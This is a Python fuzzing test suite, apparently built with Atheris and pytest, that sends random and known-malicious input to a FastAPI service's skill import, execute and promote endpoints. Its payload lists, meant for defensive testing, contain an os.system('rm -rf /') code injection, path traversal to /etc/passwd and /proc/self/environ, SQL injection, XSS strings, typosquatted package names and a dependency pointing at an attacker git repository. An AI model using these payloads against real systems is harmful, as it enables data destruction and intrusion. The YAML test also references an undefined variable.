| """ |
| Skill installation fuzzing harness for FastAPI endpoints. |
| |
| This module uses Atheris to fuzz skill import, execute, and promote endpoints |
| to discover crashes, security vulnerabilities, and edge cases. |
| |
| Coverage: |
| - POST /api/skills/import - Import community skill |
| - POST /api/skills/execute - Execute skill |
| - POST /api/skills/promote - Promote skill to Active status |
| - Security-focused fuzzing: code injection, typosquatting, path traversal |
| - YAML parsing fuzzing: malformed frontmatter, huge documents |
| """ |
|
|
| import os |
| import sys |
|
|
| |
| backend_dir = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) |
| if backend_dir not in sys.path: |
| sys.path.insert(0, backend_dir) |
|
|
| import pytest |
| from fastapi.testclient import TestClient |
| from sqlalchemy.orm import Session |
|
|
| |
| from tests.fuzzing.conftest import ATHERIS_AVAILABLE |
| from tests.e2e_ui.fixtures.database_fixtures import db_session |
| from tests.e2e_ui.fixtures.auth_fixtures import authenticated_user, test_user |
|
|
| from main_api_app import app |
| from core.database import get_db |
|
|
| |
| try: |
| import atheris |
| from atheris import fp |
| ATHERIS_AVAILABLE = True |
| except ImportError: |
| ATHERIS_AVAILABLE = False |
|
|
|
|
| |
| |
| |
|
|
| @pytest.mark.fuzzing |
| @pytest.mark.slow |
| @pytest.mark.timeout(300) |
| def test_skill_import_fuzzing(db_session: Session, authenticated_user): |
| """ |
| Fuzz skill import endpoint (POST /api/skills/import). |
| |
| PROPERTY: Skill import endpoint should not crash on malformed input |
| STRATEGY: Use FuzzedDataProvider to generate random skill content and metadata |
| INVARIANT: Response status code always in [200, 400, 401, 422] (no 500 errors) |
| |
| RADII: 10000 iterations provides coverage of: |
| - Various import sources (github_url, file_upload, raw_content, invalid) |
| - Malformed SKILL.md content (0-10000 chars) |
| - SQL injection in metadata fields |
| - XSS payloads in skill descriptions |
| |
| Args: |
| db_session: Database session with transaction rollback |
| authenticated_user: (user, token) tuple for JWT auth |
| """ |
| if not ATHERIS_AVAILABLE: |
| pytest.skip("Atheris not installed") |
|
|
| user, token = authenticated_user |
|
|
| app.dependency_overrides[get_db] = lambda: db_session |
| client = TestClient(app) |
| headers = {"Authorization": f"Bearer {token}"} |
|
|
| def fuzz_one_input(data: bytes): |
| """Fuzz skill import endpoint with random input.""" |
| try: |
| fdp = fp.FuzzedDataProvider(data) |
|
|
| |
| source_type = fdp.ConsumeIntInRange(0, 3) |
| if source_type == 0: |
| source = "github_url" |
| elif source_type == 1: |
| source = "file_upload" |
| elif source_type == 2: |
| source = "raw_content" |
| else: |
| source = fdp.ConsumeRandomLengthString(50) |
|
|
| |
| content = fdp.ConsumeRandomLengthString(10000) |
|
|
| |
| num_keys = fdp.ConsumeIntInRange(0, 10) |
| metadata = {} |
| for i in range(num_keys): |
| key = fdp.ConsumeRandomLengthString(50) |
| value = fdp.ConsumeRandomLengthString(100) |
| metadata[key] = value |
|
|
| payload = { |
| "source": source, |
| "content": content if content else None, |
| "metadata": metadata if metadata else None |
| } |
|
|
| |
| response = client.post("/api/skills/import", json=payload, headers=headers) |
|
|
| |
| assert response.status_code in [200, 400, 401, 422], \ |
| f"Unexpected status {response.status_code}: {response.text[:200]}" |
|
|
| except Exception as e: |
| if "validation" not in str(e).lower() and "422" not in str(e): |
| raise |
|
|
| atheris.Setup(sys.argv, [fuzz_one_input]) |
| atheris.Fuzz() |
|
|
|
|
| |
| |
| |
|
|
| @pytest.mark.fuzzing |
| @pytest.mark.slow |
| @pytest.mark.timeout(300) |
| def test_skill_execute_fuzzing(db_session: Session, authenticated_user): |
| """ |
| Fuzz skill execute endpoint (POST /api/skills/execute). |
| |
| PROPERTY: Skill execute endpoint should not crash on malformed input |
| STRATEGY: Use FuzzedDataProvider to generate random skill IDs and inputs |
| INVARIANT: Response status code always in [200, 400, 404, 422] (no 500 errors) |
| |
| RADII: 10000 iterations provides coverage of: |
| - Invalid skill_id formats (None, empty, huge strings) |
| - Code injection in inputs dict |
| - Huge input values (DoS protection) |
| - Invalid agent_id formats |
| |
| Args: |
| db_session: Database session with transaction rollback |
| authenticated_user: (user, token) tuple for JWT auth |
| """ |
| if not ATHERIS_AVAILABLE: |
| pytest.skip("Atheris not installed") |
|
|
| user, token = authenticated_user |
|
|
| app.dependency_overrides[get_db] = lambda: db_session |
| client = TestClient(app) |
| headers = {"Authorization": f"Bearer {token}"} |
|
|
| def fuzz_one_input(data: bytes): |
| """Fuzz skill execute endpoint with random input.""" |
| try: |
| fdp = fp.FuzzedDataProvider(data) |
|
|
| |
| skill_id = fdp.ConsumeRandomLengthString(50) |
|
|
| |
| num_keys = fdp.ConsumeIntInRange(0, 20) |
| inputs = {} |
| for i in range(num_keys): |
| key = fdp.ConsumeRandomLengthString(50) |
| value_type = fdp.ConsumeIntInRange(0, 3) |
| if value_type == 0: |
| |
| value = fdp.ConsumeRandomLengthString(1000) |
| elif value_type == 1: |
| |
| value = fdp.ConsumeRandomLengthString(10000) |
| elif value_type == 2: |
| value = fdp.ConsumeIntInRange(-1000000, 1000000) |
| else: |
| value = None |
| inputs[key] = value |
|
|
| |
| agent_id = fdp.ConsumeRandomLengthString(50) |
|
|
| payload = { |
| "skill_id": skill_id if skill_id else None, |
| "inputs": inputs, |
| "agent_id": agent_id if agent_id else None |
| } |
|
|
| |
| response = client.post("/api/skills/execute", json=payload, headers=headers) |
|
|
| |
| assert response.status_code in [200, 400, 404, 422], \ |
| f"Unexpected status {response.status_code}: {response.text[:200]}" |
|
|
| except Exception as e: |
| if "validation" not in str(e).lower() and "422" not in str(e): |
| raise |
|
|
| atheris.Setup(sys.argv, [fuzz_one_input]) |
| atheris.Fuzz() |
|
|
|
|
| |
| |
| |
|
|
| @pytest.mark.fuzzing |
| @pytest.mark.slow |
| @pytest.mark.timeout(300) |
| def test_skill_promote_fuzzing(db_session: Session, authenticated_user): |
| """ |
| Fuzz skill promote endpoint (POST /api/skills/promote). |
| |
| PROPERTY: Skill promote endpoint should not crash on malformed input |
| STRATEGY: Use FuzzedDataProvider to generate random skill IDs |
| INVARIANT: Response status code always in [200, 400, 404, 409] (no 500 errors) |
| |
| RADII: 10000 iterations provides coverage of: |
| - Invalid skill_id formats |
| - Promotion from Untrusted -> Active status |
| - Duplicate promotion attempts (409 conflict) |
| |
| Args: |
| db_session: Database session with transaction rollback |
| authenticated_user: (user, token) tuple for JWT auth |
| """ |
| if not ATHERIS_AVAILABLE: |
| pytest.skip("Atheris not installed") |
|
|
| user, token = authenticated_user |
|
|
| app.dependency_overrides[get_db] = lambda: db_session |
| client = TestClient(app) |
| headers = {"Authorization": f"Bearer {token}"} |
|
|
| def fuzz_one_input(data: bytes): |
| """Fuzz skill promote endpoint with random input.""" |
| try: |
| fdp = fp.FuzzedDataProvider(data) |
|
|
| |
| skill_id = fdp.ConsumeRandomLengthString(50) |
|
|
| payload = { |
| "skill_id": skill_id if skill_id else None |
| } |
|
|
| |
| response = client.post("/api/skills/promote", json=payload, headers=headers) |
|
|
| |
| assert response.status_code in [200, 400, 404, 409], \ |
| f"Unexpected status {response.status_code}: {response.text[:200]}" |
|
|
| except Exception as e: |
| if "validation" not in str(e).lower() and "422" not in str(e): |
| raise |
|
|
| atheris.Setup(sys.argv, [fuzz_one_input]) |
| atheris.Fuzz() |
|
|
|
|
| |
| |
| |
|
|
| @pytest.mark.fuzzing |
| @pytest.mark.slow |
| @pytest.mark.timeout(300) |
| def test_skill_content_security_fuzz(db_session: Session, authenticated_user): |
| """ |
| Fuzz skill content with malicious payloads (security-focused fuzzing). |
| |
| PROPERTY: Skill import endpoint should not crash on malicious payloads |
| STRATEGY: Test known attack patterns from Phase 237 bug discovery |
| INVARIANT: Response status code always in [200, 400, 401, 422] (no 500 errors) |
| |
| RADII: 10000 iterations provides coverage of: |
| - Code injection: "__import__('os').system('rm -rf /')" |
| - Typosquatting: "requests" vs "requets", "numpy" vs "numpyy" |
| - Path traversal: "../../../etc/passwd" |
| - Null bytes: "skill\x00name" |
| - Metadata injection: author, tags with malicious content |
| |
| Args: |
| db_session: Database session with transaction rollback |
| authenticated_user: (user, token) tuple for JWT auth |
| """ |
| if not ATHERIS_AVAILABLE: |
| pytest.skip("Atheris not installed") |
|
|
| user, token = authenticated_user |
|
|
| app.dependency_overrides[get_db] = lambda: db_session |
| client = TestClient(app) |
| headers = {"Authorization": f"Bearer {token}"} |
|
|
| |
| malicious_payloads = [ |
| |
| "__import__('os').system('rm -rf /')", |
| "eval('__import__(\"os\").system(\"id\")')", |
| "exec(\"import os; os.system('pwd')\")", |
|
|
| |
| "requets", |
| "numpyy", |
| "panndas", |
| "flaskk", |
|
|
| |
| "../../../etc/passwd", |
| "..\\..\\..\\windows\\system32", |
| "/proc/self/environ", |
|
|
| |
| "skill\x00name", |
| "author\x00injection", |
|
|
| |
| "'; DROP TABLE skills; --", |
| "' OR '1'='1", |
| "'; INSERT INTO skills VALUES (...); --", |
|
|
| |
| "<script>alert('XSS')</script>", |
| "<img src=x onerror=alert('XSS')>", |
| "javascript:alert('XSS')", |
| ] |
|
|
| def fuzz_one_input(data: bytes): |
| """Fuzz skill content with malicious payloads.""" |
| try: |
| fdp = fp.FuzzedDataProvider(data) |
|
|
| |
| payload_idx = fdp.ConsumeIntInRange(0, len(malicious_payloads) - 1) |
| malicious_content = malicious_payloads[payload_idx] |
|
|
| |
| injection_type = fdp.ConsumeIntInRange(0, 3) |
| if injection_type == 0: |
| |
| content = f"# SKILL.md\nname: {malicious_content}\ndescription: Test skill" |
| elif injection_type == 1: |
| |
| content = f"# SKILL.md\nname: test\ncontent: {malicious_content}" |
| elif injection_type == 2: |
| |
| content = "# SKILL.md\nname: test\n" |
| metadata = {"author": malicious_content, "tags": [malicious_content]} |
| else: |
| |
| content = malicious_content |
|
|
| |
| payload = { |
| "source": "raw_content", |
| "content": content, |
| "metadata": metadata if injection_type == 2 else None |
| } |
|
|
| |
| response = client.post("/api/skills/import", json=payload, headers=headers) |
|
|
| |
| assert response.status_code in [200, 400, 401, 422], \ |
| f"Unexpected status {response.status_code}: {response.text[:200]}" |
|
|
| except Exception as e: |
| if "validation" not in str(e).lower() and "422" not in str(e): |
| raise |
|
|
| atheris.Setup(sys.argv, [fuzz_one_input]) |
| atheris.Fuzz() |
|
|
|
|
| |
| |
| |
|
|
| @pytest.mark.fuzzing |
| @pytest.mark.slow |
| @pytest.mark.timeout(300) |
| def test_skill_yaml_parsing_fuzz(db_session: Session, authenticated_user): |
| """ |
| Fuzz YAML frontmatter parsing in SKILL.md files. |
| |
| PROPERTY: YAML parser should not crash on malformed YAML |
| STRATEGY: Use FuzzedDataProvider to generate random YAML content |
| INVARIANT: Response status code always in [200, 400, 422] (no 500 errors) |
| |
| RADII: 10000 iterations provides coverage of: |
| - Malformed YAML syntax (unclosed brackets, invalid indentation) |
| - Huge YAML documents (DoS protection) |
| - Cyclical references in YAML |
| - Missing required fields |
| - Invalid data types |
| |
| Args: |
| db_session: Database session with transaction rollback |
| authenticated_user: (user, token) tuple for JWT auth |
| """ |
| if not ATHERIS_AVAILABLE: |
| pytest.skip("Atheris not installed") |
|
|
| user, token = authenticated_user |
|
|
| app.dependency_overrides[get_db] = lambda: db_session |
| client = TestClient(app) |
| headers = {"Authorization": f"Bearer {token}"} |
|
|
| def fuzz_one_input(data: bytes): |
| """Fuzz YAML parsing with random input.""" |
| try: |
| fdp = fp.FuzzedDataProvider(data) |
|
|
| |
| yaml_content = fdp.ConsumeRandomLengthString(5000) |
|
|
| |
| skill_content = f"""--- |
| name: {name} |
| description: {fdp.ConsumeRandomLengthString(200)} |
| author: {fdp.ConsumeRandomLengthString(50)} |
| version: {fdp.ConsumeRandomLengthString(20)} |
| --- |
| |
| ## Skill Content |
| |
| {fdp.ConsumeRandomLengthString(1000)} |
| """ |
|
|
| payload = { |
| "source": "raw_content", |
| "content": skill_content, |
| "metadata": None |
| } |
|
|
| |
| response = client.post("/api/skills/import", json=payload, headers=headers) |
|
|
| |
| assert response.status_code in [200, 400, 422], \ |
| f"Unexpected status {response.status_code}: {response.text[:200]}" |
|
|
| except Exception as e: |
| if "yaml" not in str(e).lower() and "validation" not in str(e).lower(): |
| raise |
|
|
| atheris.Setup(sys.argv, [fuzz_one_input]) |
| atheris.Fuzz() |
|
|
|
|
| |
| |
| |
|
|
| @pytest.mark.fuzzing |
| @pytest.mark.slow |
| @pytest.mark.timeout(300) |
| def test_skill_dependency_injection_fuzz(db_session: Session, authenticated_user): |
| """ |
| Fuzz skill dependency injection in requirements.txt. |
| |
| PROPERTY: Skill installer should not crash on malicious dependencies |
| STRATEGY: Test malicious packages in requirements.txt |
| INVARIANT: Response status code always in [200, 400, 422] (no 500 errors) |
| |
| RADII: 10000 iterations provides coverage of: |
| - Typosquatting packages (requets vs requests) |
| - Malicious package names (rm -rf, ../etc/passwd) |
| - Conflicting dependencies |
| - Huge dependency lists |
| - Invalid version specifiers |
| |
| Args: |
| db_session: Database session with transaction rollback |
| authenticated_user: (user, token) tuple for JWT auth |
| """ |
| if not ATHERIS_AVAILABLE: |
| pytest.skip("Atheris not installed") |
|
|
| user, token = authenticated_user |
|
|
| app.dependency_overrides[get_db] = lambda: db_session |
| client = TestClient(app) |
| headers = {"Authorization": f"Bearer {token}"} |
|
|
| |
| malicious_deps = [ |
| "requets", |
| "numpyy", |
| "../../../etc/passwd", |
| "rm -rf", |
| "package==../..", |
| "package @ file:///etc/passwd", |
| "package @ git+git://github.com/attacker/repo.git#egg=package", |
| "-e ../../..", |
| "package==999.999.999", |
| ] |
|
|
| def fuzz_one_input(data: bytes): |
| """Fuzz dependency injection with random input.""" |
| try: |
| fdp = fp.FuzzedDataProvider(data) |
|
|
| |
| num_deps = fdp.ConsumeIntInRange(0, 10) |
| requirements = [] |
| for i in range(num_deps): |
| |
| if fdp.ConsumeBool(): |
| |
| dep_idx = fdp.ConsumeIntInRange(0, len(malicious_deps) - 1) |
| dep = malicious_deps[dep_idx] |
| else: |
| |
| dep = fdp.ConsumeRandomLengthString(100) |
| requirements.append(dep) |
|
|
| |
| requirements_str = "\n".join(requirements) |
| skill_content = f"""--- |
| name: test-skill |
| description: Test skill with dependencies |
| dependencies: | |
| {requirements_str} |
| --- |
| |
| ## Skill Content |
| Test content |
| """ |
|
|
| payload = { |
| "source": "raw_content", |
| "content": skill_content, |
| "metadata": None |
| } |
|
|
| |
| response = client.post("/api/skills/import", json=payload, headers=headers) |
|
|
| |
| assert response.status_code in [200, 400, 422], \ |
| f"Unexpected status {response.status_code}: {response.text[:200]}" |
|
|
| except Exception as e: |
| if "validation" not in str(e).lower() and "422" not in str(e): |
| raise |
|
|
| atheris.Setup(sys.argv, [fuzz_one_input]) |
| atheris.Fuzz() |
|
|